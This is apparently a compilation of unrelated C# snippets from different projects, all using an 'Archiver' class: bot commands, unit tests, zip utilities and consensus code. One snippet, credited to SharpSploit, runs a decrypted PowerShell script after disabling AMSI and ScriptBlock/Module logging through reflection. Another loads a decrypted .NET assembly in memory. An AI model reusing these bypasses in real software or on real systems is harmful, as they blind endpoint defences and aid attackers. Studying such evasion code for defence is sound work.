private void Archive() { Archiver archiver = new Archiver(); archiver.ArchivePwd = "CISS"; archiver.ArchiveEvent += new Archiver.ArchiveEventHandle(archiver_ArchiveEvent); archiver.UnArchive(ArchiveFile, tempExtrctorPath); }
public async Task StopProposalsAsync() { var photoBot = Service.PhotoBot; var winnerProposal = photoBot.Config.Proposals .OrderBy(element => Guid.NewGuid()) .ThenByDescending(element => element.Score) .First(); var proposalsChannel = photoBot.SocketGuild.GetTextChannel(photoBot.Config.CurrentProposalsChannelId); var winnersChannel = photoBot.SocketGuild.GetTextChannel(photoBot.Config.WinnerChannelId); using var client = new WebClient(); await client.DownloadFileTaskAsync(new Uri(winnerProposal.ImageUrl), "winner_proposal.png"); try { await winnersChannel.SendFileAsync("winner_proposal.png", $"Thema: {winnerProposal.Topic}"); } catch (Exception e) { Console.WriteLine(e); } var users = photoBot.Config.PhotoUserIds; photoBot.Config.UserIdToPhotoChannelId = new Dictionary <ulong, ulong>(); foreach (var userId in users) { var user = photoBot.SocketGuild.GetUser(userId); var photoChannel = await ChannelCreator.CreateChannelAsync($"photo-{user.Username}", photoBot.Config.PhotoCategoryId); var denyAllPermissions = new Overwrite(photoBot.Config.EveryoneRoleId, PermissionTarget.Role, OverwritePermissions.DenyAll(photoChannel)); var allowUserPermissions = new Overwrite(userId, PermissionTarget.User, OverwritePermissions.AllowAll(photoChannel)); var permissions = new List <Overwrite> { denyAllPermissions, allowUserPermissions }; await photoChannel.ModifyAsync(prop => prop.PermissionOverwrites = permissions); photoBot.Config.UserIdToPhotoChannelId.Add(userId, photoChannel.Id); } await Archiver.ArchiveChannelAsync(proposalsChannel); await PhotoConfig.SaveAsync(); }
public void SetUp() { _mockSettings = new Mock <IArchiveSettings>(); _mockTimeprovider = new Mock <ITimeProvider>(); _mockCompressor = new Mock <ICompressor>(); _mockFileDeleter = new Mock <IFileDeleter>(); _mockArchiverNameProvider = new Mock <IArchiveNameProvider>(); _mockFileGatherer = new Mock <IFileGatherer>(); _mockDirectoryProvider = new Mock <IDirectoryProvider>(); _mockFileBathProvider = new Mock <IFileBatchProvider>(); _testDate = new DateTime(2017, 6, 12); _testArchive1 = new Archive { ArchiveName = "archivename", ArchivePath = @"x:\logs", DeleteArchivedFiles = true, FilePath = @"x:\logs\archive" }; _testArchives = new[] { _testArchive1 }; _mockTimeprovider.SetupGet(tp => tp.Now).Returns(_testDate); var testLogs = new List <string>() { "logs1", "log2" }; //... _mockFileGatherer .Setup(fg => fg.FilesOlderThan(It.IsAny <string>(), It.IsAny <DateTime>())) .Returns(testLogs); _mockFileBathProvider .Setup(fbp => fbp.Batch(It.IsAny <IEnumerable <string> >())) .Returns(new List <List <string> > { testLogs }); cut = new Archiver( _mockSettings.Object, _mockTimeprovider.Object, _mockCompressor.Object, _mockFileDeleter.Object, _mockArchiverNameProvider.Object, _mockFileGatherer.Object, _mockDirectoryProvider.Object, _mockFileBathProvider.Object ); }
///// <summary> ///// Add additional files to the package ///// </summary> ///// <param name="filename">The filename (including path) of the file to add</param> //public void AddAdditionalFile(string filename) //{ // if (additionalFiles == null) // { // additionalFiles = new ArrayList(); // } // additionalFiles.Add(Path.GetFullPath(filename)); //} ///// <summary> ///// Gets the list of additional files in the package ///// </summary> ///// <returns>The list of full paths to the additional files</returns> //public string[] GetAdditionalFiles() //{ // if (additionalFiles != null) // { // return (string[])additionalFiles.ToArray(typeof(string)); // } // return null; //} /// <summary> /// Save the package on disk /// </summary> /// <param name="packageFilename"></param> /// <param name="arguments"></param> /// <returns></returns> public string Save(string packageFilename, Arguments arguments) { // Set the package to the given filename string package = arguments.Name; if (Path.GetExtension(package).Length == 0) { package += defaultExtension; } if (resultFile == null || !File.Exists(resultFile)) { //throw new Exception("The package MUST contain a result file before being saved"); GlobalLog.LogEvidence(new Exception("The package MUST contain a result file before being saved")); } // Fully expand the archiver name to ensure it is saved in the requested place // Create archiver archiver = Archiver.Create(Path.GetFullPath(package), true); // Add Master File if (masterFile != null) { AddFileFromPath(MasterFile, masterKey); } // Add the Result File AddResultFileFromPath(); // Add info xml File CreateInfoXmlFile(arguments); if (File.Exists(infoXmlFile)) { archiver.AddFile(infoXmlFile, infoKey, true); } //creates test info file for future use in master update app. CreateTestInfoXml(arguments); if (File.Exists(TestInfo)) { //AddFileFromPath(TestInfoFile, "TestInfoFile"); archiver.AddFile(TestInfo, testInfoKey, true); } // Generate package archiver.GenerateArchive(); // Return the full path to the archive return(Path.GetFullPath(package)); }
static int Main(string[] args) { if (args.Length == 0) { PrintHelp(); return(CodeFail); } var programOptionsResult = GetOptions(args); if (!programOptionsResult.Success) { Console.WriteLine(programOptionsResult.Error); PrintHelp(); return(CodeFail); } Options options = programOptionsResult.Value; var cts = new CancellationTokenSource(); var sourceStreamResult = CreateSourceFileStream(options.InputFilePath); if (!sourceStreamResult.Success) { Console.WriteLine(sourceStreamResult.Error); return(CodeFail); } var destStreamResult = CreateDestFileStream(options.OutputFilePath); if (!destStreamResult.Success) { Console.WriteLine(destStreamResult.Error); sourceStreamResult.Value.Dispose(); return(CodeFail); } using (var sourceStream = sourceStreamResult.Value) using (var destStream = destStreamResult.Value) { if (options.Mode == CompressionMode.Compress) { Archiver.Archive(sourceStream, destStream, options.ChunkSize, options.Workers, cts.Token); } else { Archiver.Unarchive(sourceStream, destStream, options.Workers, cts.Token); } } return(CodeOk); }
static void CreateArchive(string testPackageFilePath) { IArchiver archiver = new Archiver(); try { archiver.CreateArchive(testPackageFilePath); } catch (ArchiveAlreadyExistsException e) { ExitWithErrorString("Error: Archive already exists: " + e.Message); } }
public bool PerformActions() { List <ILogCreator> logs = CreateLoggers(); totalActions = logs.Count; if (!Directory.Exists(_tmpDir)) { Directory.CreateDirectory(_tmpDir); } foreach (ILogCreator logCreator in logs) { setAction(logCreator.ActionMessage); Update(); logCreator.CreateLogs(_tmpDir); updateProgress(1); } CreateHTMLIndexFile(); base.setAction("Creating ZIP Archive with gathered information..."); try { // Get config file also to help debugging File.Copy(Config.GetFolder(Config.Dir.Config) + @"\\MediaPortal.xml", _tmpDir + @"\\MediaPortal.xml", true); //Add client gentle.config if it exists if (File.Exists(Config.GetFolder(Config.Dir.Config) + @"\\Gentle.config")) { File.Copy(Config.GetFolder(Config.Dir.Config) + @"\\Gentle.config", _tmpDir + @"\\Client_Gentle.config", true); } if (File.Exists(_zipFile)) { File.Delete(_zipFile); } using (Archiver archiver = new Archiver()) { archiver.AddDirectory(_tmpDir, _zipFile, false); } Directory.Delete(_tmpDir, true); } catch (Exception ex) { Utils.ErrorDlg(ex.ToString()); } updateProgress(1); base.Done(); return(true); }
public void GetArchivedMonths_CallMapArchiveModel() { _fakeDistinctMonthHelper.Setup(x => x.GetDistinctPreviousMonths(It.IsAny <DateTime>(), It.IsAny <int>())) .Returns(Mother.GetListOfFiveDateTimes()); _fakeArchiveMapper.Setup(x => x.MapArchiveModel(Mother.GetListOfFiveDateTimes(), Mother.GetFiveSimpleBlogPosts())) .Returns(() => new List <Archive>()); var sut = new Archiver(_fakeDistinctMonthHelper.Object, _fakeArchiveMapper.Object); sut.GetArchivedMonths(_dateTime, 5, Mother.GetFiveSimpleBlogPosts()); _fakeArchiveMapper.Verify(); }
private static async Task ExtractArchive(Archiver archiver) { var path = GetPath("Введите путь к архиву"); var archiveInfo = await archiver.GetArchiveInfoAsync(path); if (archiveInfo.IsEncrypted) { Console.WriteLine("Архив зашифрован, введите ключ"); var key = Console.ReadLine(); archiver.Decompressor.Settings.EncryptKey = key; } await archiver.ExtractAsync(path, Path.GetDirectoryName(path)); }
public void SmokeTest() { var fileName = "TestFile.txt"; var sourceStr = "Simple text"; var sourceBytes = GetBytes(sourceStr); var archiver = new Archiver(); var compressBytes = archiver.Archive(sourceBytes, fileName); var decompressBytes = archiver.Decompress(compressBytes, fileName); var resString = GetString(decompressBytes[fileName]); resString.ShouldBeEquivalentTo(sourceStr); }
/// <summary> /// Construct a DiffPackage from the given archive /// </summary> /// <param name="givenArchiver">The archive to extract</param> private DiffPackage(Archiver givenArchiver) : this() { this.archiver = givenArchiver; //Get Package files MasterFile = archiver.GetFileLocation(masterKey); ResultFile = archiver.GetFileLocation(resultKey); TestInfo = archiver.GetFileLocation(testInfoKey); string infoFile = archiver.GetFileLocation(infoKey); //Parse the info file for master location & sd path ParseInfoXmlFile(infoFile); }
public void Test() { var archiver = Archiver.NewXcodeArchiver(); archiver.SetKey("progress"); archiver.SetEncodeMode(true); var listFiles = GetPackageTestFilesList(TestFolder, Path.Combine(TestFolder, "archives", "test1")); listFiles.AddRange(GetPackageTestFilesList(TestFolder, Path.Combine(TestFolder, "archives", "test2"))); archiver.OnProgress += ArchiverOnOnProgress; CreateArchive(archiver, listFiles); archiver.OnProgress -= ArchiverOnOnProgress; }
public EpsTask(IEpsTaskConfig config, IEpsConfiguration epsConfiguration, Archiver archiver) { Contract.Requires(config != null); Contract.Requires(epsConfiguration != null); Contract.Requires(archiver != null); Log = LogManager.GetLogger(GetType()); _config = config; _epsConfiguration = epsConfiguration; _archiver = archiver; CheckConfig(); }
public void ReadHeader() { var target = new Archiver(); string location = "C:\\TestMap\\Test1.txt"; using (FileStream file = File.Create(location)) { using (StreamWriter sw = new StreamWriter(file)) { sw.WriteLine("TESTES TESTES"); } } Thread.Sleep(100); target.ZipFile(location); }
public async Task StartBattleAsync() { var photoBot = Service.PhotoBot; await ReplyAsync("Starting new photoshop battle."); var proposalsChannel = await ChannelCreator.CreateChannelAsync("proposals", photoBot.Config.PhotoCategoryId); if (photoBot.Config.CurrentProposalsChannelId != 0) { var oldProposalsChannel = photoBot.SocketGuild.GetTextChannel(photoBot.Config.CurrentProposalsChannelId); await Archiver.ArchiveChannelAsync(oldProposalsChannel); } if (photoBot.Config.CurrentVotingChannelId != 0) { var oldVotingChannel = photoBot.SocketGuild.GetTextChannel(photoBot.Config.CurrentVotingChannelId); await Archiver.ArchiveChannelAsync(oldVotingChannel); } if (photoBot.Config.UserIdToPhotoChannelId != null) { foreach (var(_, value) in photoBot.Config.UserIdToPhotoChannelId) { if (value == 0) { continue; } var channel = photoBot.SocketGuild.GetTextChannel(value); if (channel != null) { await channel.DeleteAsync(); } } } photoBot.Config.CurrentProposalsChannelId = proposalsChannel.Id; await photoBot.GetPhotoUsersAsync(); photoBot.Config.Proposals = new List <PhotoMessage>(); photoBot.Config.Photos = new List <PhotoMessage>(); photoBot.Config.UserIdToPhotoChannelId = new Dictionary <ulong, ulong>(); await PhotoConfig.SaveAsync(); }
static void UnpackPlugins() { foreach (var file in Directory.GetFiles(PluginsDirectory, "*.zip")) { var unpackFolder = file.Replace(".zip", "/"); unpackFolder = unpackFolder.Replace("-win64", ""); unpackFolder = unpackFolder.Replace("-linux", ""); unpackFolder = unpackFolder.Replace("-macos", ""); if (Directory.Exists(unpackFolder)) { Directory.Delete(unpackFolder, true); } new DirectoryInfo(unpackFolder).Create(); Archiver.Decompress(file, unpackFolder); File.Delete(file); } }
private static async Task CreateArchive(Archiver archiver) { var path = GetPath("Введите путь к файлам"); Console.WriteLine("Использовать шифрование(Да/Нет)?"); var result = Console.ReadLine() ?? ""; var isUseEncrypt = result.Equals("Да", StringComparison.CurrentCultureIgnoreCase); if (isUseEncrypt) { Console.WriteLine("Введите ключ"); var key = Console.ReadLine(); archiver.Compressor.Settings.EncryptKey = key; } await archiver.CreateAsync(path, $"{path}.arh"); }
public void Test() { var serverPort = TestHelper.GetNextAvailablePort(2050); var proxyPort = TestHelper.GetNextAvailablePort(serverPort + 1); // hostname to use // we need something different than 127.0.0.1 or localhost for the proxy! IPHostEntry hostEntry; try { hostEntry = Dns.GetHostEntry("mylocalhost"); } catch (Exception) { hostEntry = null; } var host = hostEntry == null ? "127.0.0.1" : "mylocalhost"; var archiver = Archiver.NewHttpFileServerArchiver(); Assert.IsNotNull(archiver); var baseDir = Path.Combine(TestFolder, "http"); archiver.SetProxy($"http://{host}:{proxyPort}/", "jucai69d", "julien caillon"); archiver.SetBasicAuthentication("admin", "admin123"); var listFiles = GetPackageTestFilesList(TestFolder, $"http://{host}:{serverPort}/server1"); listFiles.AddRange(GetPackageTestFilesList(TestFolder, $"http://{host}:{serverPort}/server2")); var fileServer = new SimpleHttpFileServer(baseDir, "admin", "admin123"); var proxyServer = new SimpleHttpProxyServer("jucai69d", "julien caillon"); var cts = new CancellationTokenSource(); var task1 = HttpServer.ListenAsync(serverPort, cts.Token, fileServer.OnHttpRequest, true); var task2 = HttpServer.ListenAsync(proxyPort, cts.Token, proxyServer.OnHttpRequest, true); PartialTestForHttpFileServer(archiver, listFiles); if (!host.Equals("127.0.0.1")) { Assert.AreEqual(62, proxyServer.NbRequestsHandledOk); } HttpServer.Stop(cts, task1, task2); }
public void Archive_Returns_ArchiveContent_When_Successful() { // Arrange var input = new FileInputModel[] { new FileInputModel { Content = new byte[] { 0x01, 0x01, 0x01 }, Name = "File1.txt" }, new FileInputModel { Content = new byte[] { 0x02, 0x02 }, Name = "File2.txt" } }; // Act var result = Archiver.Archive(input); // Assert Assert.IsNotNull(result); using var zippedStream = new MemoryStream(result.Content); using ZipArchive zipArchive = new ZipArchive(zippedStream); var zipEntry1 = zipArchive.GetEntry("File1.txt"); Assert.IsNotNull(zipEntry1); using var unzippedEntryStream1 = zipEntry1.Open(); using var mse1 = new MemoryStream(); unzippedEntryStream1.CopyTo(mse1); var unzippedArray1 = mse1.ToArray(); Assert.AreEqual(new byte[] { 0x01, 0x01, 0x01 }, unzippedArray1); var zipEntry2 = zipArchive.GetEntry("File2.txt"); Assert.IsNotNull(zipEntry2); using var unzippedEntryStream2 = zipEntry2.Open(); using var mse2 = new MemoryStream(); unzippedEntryStream2.CopyTo(mse2); var unzippedArray2 = mse2.ToArray(); Assert.AreEqual(new byte[] { 0x02, 0x02 }, unzippedArray2); }
// @ref https://chitoku.jp/programming/wpf-lazy-image-behavior public async Task <BitmapSource> LoadBitmap(Size bitmapDecodePixel) { if (IsDummy) { return(null); } try { var source = await Archiver.LoadBitmap(bitmapDecodePixel, this); return(source); } catch { return(null); } }
public async Task StopVotingAsync() { var photoBot = Service.PhotoBot; var winner = photoBot.Config.Photos .OrderBy(element => Guid.NewGuid()) .ThenByDescending(element => element.Score) .First(); var winnerChannel = photoBot.SocketGuild.GetTextChannel(photoBot.Config.WinnerChannelId); var winnerUser = photoBot.SocketGuild.GetUser(winner.UserId); using var webClient = new WebClient(); await webClient.DownloadFileTaskAsync(winner.ImageUrl, "winner.png"); await winnerChannel.SendFileAsync("winner.png", $"The winner is: {winnerUser.Username}"); var votingChannel = photoBot.SocketGuild.GetTextChannel(photoBot.Config.CurrentVotingChannelId); await Archiver.ArchiveChannelAsync(votingChannel); }
private void BindAsCoordinator(Instance r) { WaitQuorum(r, MessageType.Propose, msgs => { var v = PickMostRecentValue( msgs.Where(m => Archiver.CanCommit(m.Value)) ); Broadcast(r, MessageType.Select, v); }); WaitQuorum(r, MessageType.Ack, msgs => { var v = PickMostRecentValue(msgs); Broadcast(r, MessageType.Decide, v); Terminate(r, v); }); }
// Following a discussion with cobbr over the implementation this was a much more elegant solution :) // Almost directly ripped from https://github.com/cobbr/SharpSploit/blob/master/SharpSploit/Execution/Shell.cs#L37-L55 // Credits to Ryan Cobb /// <summary> /// Executes specified PowerShell code using System.Management.Automation.dll and bypasses /// AMSI, ScriptBlock Logging, and Module Logging (but not Transcription Logging). /// </summary> /// <param name="PowerShellCode">PowerShell code to execute.</param> /// <param name="OutString">Switch. If true, appends Out-String to the PowerShellCode to execute.</param> /// <param name="BypassLogging">Switch. If true, bypasses ScriptBlock and Module logging.</param> /// <param name="BypassAmsi">Switch. If true, bypasses AMSI.</param> /// <returns>Output of executed PowerShell.</returns> /// <remarks> /// Credit for the AMSI bypass goes to Matt Graeber (@mattifestation). Credit for the ScriptBlock/Module /// logging bypass goes to Lee Christensen (@_tifkin). /// </remarks> public void RunPowerShell(string encpath, string encpass, string outfile, string scriptname, string arguments, bool BypassLogging = true, bool BypassAmsi = true) { Archiver archiver = new Archiver(); byte[] unpacked = archiver.ArchiveHelper(encpath, encpass, scriptname); string PowerShellCode = System.Text.Encoding.UTF8.GetString(unpacked); PowerShellCode += "\n" + arguments; System.Windows.Forms.MessageBox.Show(PowerShellCode); if (PowerShellCode == null || PowerShellCode == "") { return; } using (PowerShell ps = PowerShell.Create()) { BindingFlags flags = BindingFlags.NonPublic | BindingFlags.Static; if (BypassLogging) { var PSEtwLogProvider = ps.GetType().Assembly.GetType("System.Management.Automation.Tracing.PSEtwLogProvider"); if (PSEtwLogProvider != null) { var EtwProvider = PSEtwLogProvider.GetField("etwProvider", flags); var EventProvider = new System.Diagnostics.Eventing.EventProvider(Guid.NewGuid()); EtwProvider.SetValue(null, EventProvider); } } if (BypassAmsi) { var amsiUtils = ps.GetType().Assembly.GetType("System.Management.Automation.AmsiUtils"); if (amsiUtils != null) { amsiUtils.GetField("amsiInitFailed", flags).SetValue(null, true); } } ps.AddScript(PowerShellCode); var results = ps.Invoke(); string output = String.Join(Environment.NewLine, results.Select(R => R.ToString()).ToArray()); ps.Commands.Clear(); System.IO.File.WriteAllText(outfile, output); } }
public void RunDotNet(string encpath, string encpass, string outfile, string binname, string arguments) { Archiver archiver = new Archiver(); byte[] unpacked = archiver.ArchiveHelper(encpath, encpass, binname); DotNetLoader dnl = new DotNetLoader(); object[] convertedArgs = arguments.Split(' '); MemoryStream mem = new MemoryStream(10000); StreamWriter writer = new StreamWriter(mem); Console.SetOut(writer); dnl.loadAssembly(unpacked, convertedArgs); writer.Close(); string s = Encoding.Default.GetString(mem.ToArray()); mem.Close(); System.IO.File.WriteAllText(outfile, s.ToString()); }
private static async Task CreateMenu(Archiver archiver) { while (true) { Console.WriteLine("1) Создать архив"); Console.WriteLine("2) Распаковать архив"); Console.WriteLine("3) Выход"); var input = Console.ReadLine(); Console.Clear(); try { switch (input) { case "1": await CreateArchive(archiver); break; case "2": await ExtractArchive(archiver); break; case "3": return; } } catch (Exception ex) { Console.WriteLine(ex.Message); Console.ReadLine(); Console.Clear(); } archiver.Compressor.Settings.EncryptKey = null; archiver.Decompressor.Settings.EncryptKey = null; Console.ReadLine(); Console.Clear(); } }
/// <summary> /// アーカイブ中のファイルを一時フォルダに展開する /// </summary> public void WriteToTempFolder() { if (TempFilePath != null || Archiver == null) { return; } // 一時ファイル名 string ext = System.IO.Path.GetExtension(FilePath); if (Archiver is PdfArchiver) { ext = "png"; } string tempFileName = System.IO.Path.GetRandomFileName(); if (ext != null && ext != string.Empty) { tempFileName = System.IO.Path.ChangeExtension(tempFileName, ext); } // 一時ファイルのディレクトリパス(なければ作成) string tempDir = Directory.GetParent(System.Reflection.Assembly.GetExecutingAssembly().Location).FullName + "\\" + TempDirName; if (!Directory.Exists(tempDir)) { Directory.CreateDirectory(tempDir); } // 一時ファイルフルパス TempFilePath = tempDir + "\\" + tempFileName; // 出力 Archiver.WriteAsFile(FilePath, TempFilePath); // リストに追加(アプリケーション終了時に削除) if (App.TempFilePathList == null) { App.TempFilePathList = new List <string>(); } App.TempFilePathList.Add(TempFilePath); }
private void Archive(string projectDirectoryFullPath, string description) { logger.Debug("Archive start"); if (config.ArchivesDirectory == null) { throw new ProjArchiveException("The ArchivesDirectoryFullPath was not specified."); } Archiver archiver = new Archiver(storage, fileCompressor) { ArchivesDirectoryFullPath = config.ArchivesDirectory, ProjectDirectoryFullPath = projectDirectoryFullPath, Description = description }; archiver.Archive(); logger.Debug("Archive end"); }
public async Task ArchiveAndStartUpload(DS4Session session, string apiBase, string apiKey, string apiSecret) { // Archive if (!File.Exists(session.CompressedScanFile)) { Archiver archiver = new Archiver(); session.Compressing = true; ArchiveResult result = await archiver.PerformArchive(session.SessionPath, session.CompressedScanFile); if (!result.Success) { return; } } session.Compressing = false; _upload(session, apiBase, apiKey, apiSecret); }
private void BindAsProposer(Instance r) { WaitQuorum(r, MessageType.Ack, msgs => { var v = PickHighestNumberedValue(msgs)?.Value ?? Proposer.GetProposal(); if (Archiver.CanCommit(v)) { var x = new NumberedValue(v, proposalNumber); Broadcast(r, MessageType.Select, x); } }); WaitMessage(r, MessageType.Nack, msg => { if (msg.Value != null) { var n = (long)msg.Value; if (n > minNumber) { minNumber = Math.Max(n, minNumber); if (RandomExtensions.Tryout(0.5)) { Propose(r); } } } }); WaitQuorum(r, MessageType.Accept, msgs => { var m = msgs.Select(m => m.Value).Distinct(); if (m.Count() == 1) { var x = m.Single() as NumberedValue; Terminate(r, x); Broadcast(r, MessageType.Decide, x); } }); }
protected override async void RunIteration() { var script = new Script(); var archiver = new Archiver(); var checker = new OrphoChecker(); script.AddCommand(new ArchiverCommand(archiver, "extract")); script.AddCommand(new OrphoCheckerCommand(checker, "check")); script.AddCommand(new OrphoCheckerCommand(checker, "fix")); script.AddCommand(new ArchiverCommand(archiver, "archive")); script.Execute(); Console.WriteLine("Writing to file..."); using (var writer = new StreamWriter(File.Open(_fileName, FileMode.Create, FileAccess.Write))) { await script.Serialize(writer); } Console.WriteLine("The file was filled in successfully"); Process.Start("notepad.exe", _fileName); }
public async Task <IActionResult> DownloadMultiple( [HttpTrigger(AuthorizationLevel.Function, "post", Route = "files/documentlibraries/{documentLibraryId}/driveItems")] HttpRequest req, string documentLibraryId, ILogger log) { var body = await(new StreamReader(req.Body)).ReadToEndAsync(); var inputModel = JsonConvert.DeserializeObject <DownloadFilesInputModel>(body); var state = new ModelStateDictionary(); if (string.IsNullOrEmpty(documentLibraryId)) { state.AddModelError(nameof(documentLibraryId), "Missing or empty."); } if (inputModel?.DriveItems == null || !inputModel.DriveItems.Any() || inputModel.DriveItems.Any(x => string.IsNullOrEmpty(x))) { state.AddModelError(nameof(inputModel.DriveItems), "Missing identifiers of files to download."); } if (!state.IsValid) { return(new BadRequestObjectResult(state)); } var tasks = inputModel.DriveItems.Select(x => _fileService.DownloadAsync(_settings.GetSiteId(), documentLibraryId, x)).ToArray(); Task.WaitAll(tasks); var archiverInputModel = tasks .Select(x => new FileInputModel { Name = x.Result.Name, Content = x.Result.Content }) .ToArray(); var archive = Archiver.Archive(archiverInputModel); var result = new FileContentResult(archive.Content, "application/octet-stream"); result.FileDownloadName = "file.zip"; return(result); }
private Archiver RegisterArchiver(IArchiver provider, FourPartVersion asmVersion, IHostApi request) { string name = null; try { FourPartVersion ver = provider.GetProviderVersion(); var version = ver == 0 ? asmVersion : ver; name = provider.GetArchiverName(); if (String.IsNullOrWhiteSpace(name)) { return null; } // Initialize the provider before locking the collection // that way we're not blocking others on non-deterministic actions. request.Debug("Initializing provider '{0}'".format(name)); provider.InitializeProvider(request.As<IRequest>()); request.Debug("Provider '{0}' Initialized".format(name)); lock (Archivers) { if (Archivers.ContainsKey(name)) { if (version > Archivers[name].Version) { // remove the old provider first. // todo: this won't remove the plugin domain and unload the code yet // we'll have to do that later. Archivers.Remove(name); } else { return null; } } request.Debug("Using Archiver Provider {0}".format(name)); var archiver = new Archiver(provider) { Version = version, IsLoaded = true }; archiver.Initialize(request); Archivers.AddOrSet(name, archiver); return archiver; } } catch (Exception e) { request.Debug("Provider '{0}' Failed".format(name)); e.Dump(); } return null; }
public static void Main () { Archiver a = new Archiver (); }